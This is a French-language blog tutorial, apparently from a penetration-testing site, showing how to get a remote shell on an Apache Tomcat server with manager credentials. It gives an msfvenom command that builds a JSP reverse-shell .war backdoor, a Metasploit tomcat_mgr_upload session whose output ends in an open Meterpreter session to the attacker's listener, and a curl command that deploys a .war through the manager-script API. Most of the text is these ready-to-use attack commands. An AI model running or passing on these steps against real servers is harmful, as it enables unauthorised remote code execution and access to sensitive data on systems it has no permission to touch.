Web: Avoir un shell avec un compte Tomcat

Apache Tomcat est un logiciel pour créer un serveur web avec des applications java. Avoir les accès au panel d'admin de tomcat est tres interessant pour un attaquant car il peut obtenir un shell et donc acceder à des informations sensibles.

Méthode numéro 1: Upload un fichier .war via l'interface http

Avec un compte tomcat il est possible d'upload une application malicieuse pour avoir un reverse shell ou un webshell. Dans cet exemple je vais utiliser un compte qui aura comme role "manager-gui". Voici le fichier tomcat-users.xml que j'ai utilisé :

La première chose à faire est de se rendre sur dans le portail du manager via le bouton "Manager App":

Apres s'etre identifié nous accédons à une page ou l'on peut voir toutes les aplications déployées. Par défault il y en a quelque une. C'est via ce portail qu'il est possible d'upload des applications JAVA au format .war. Un fichier .war est un archive qui contient des classes JAVA, des fichiers XML, des pages statiques ect...

Il est possible d'utiliser msfvenom afin de générer un .war pour avoir un reverse shell:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f war > backdoor.war

Puis upload ce fichier via interface web:

Une nouvelle application est maintenant disponible. Elle s'appelle "backdoor". Il faut donc la joindre avec l'url http://host/backdoor afin de déclancher le reverse shell.

Et c'est gagné 🙂

Méthode numéro 2: Upload un fichier .war via msfconsole

Metasploit integre un module pour avoir un shell via l'upload d'un .war.
Il suffir de renseigner l'adresse et le port du serveur cible ainsi que le login tomcat.

msf5 > use multi/http/tomcat_mgr_upload
msf5 exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
msf5 exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
msf5 exploit(multi/http/tomcat_mgr_upload) > set rhosts 192.168.1.22
msf5 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080
msf5 exploit(multi/http/tomcat_mgr_upload) > run

[*] Started reverse TCP handler on 192.168.1.11:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying zssc5v...
[*] Executing zssc5v...

[*] Undeploying zssc5v ...
[*] Sending stage (53926 bytes) to 192.168.1.22

[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.22:57664) at 2020-07-07 01:57:27 +0200

meterpreter >

Et voila, c'est encore gagné 🙂

Cas particulier: L'utilisateur tomcat à le role "manager-script".

Si votre user tomcat n'a pas le role "manager-gui" vous ne pouvez pas acceder à l'interface http pour déployer des applications. Par contre si vous avez un user avec un role "manager-script" vous pouvez réaliser des actions à distance via des commandes. Il est possible d'upload une application avec curl :

curl --user "[USER]:[PASSWORD]" -T "[FICHIER].war" "http://[URL]:8080/manager/text/deploy?path=/[NOM DE L'APPLICATION]&update=true"

Apres avoir executé cette commande il est possible de joindre cette application via cette URL: http://[URL]:8080/[nom de l'application]. Dans le cas du screenshoot ci dessus l'url est donc http://serveur-vunl.fr:8080/backdoor.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *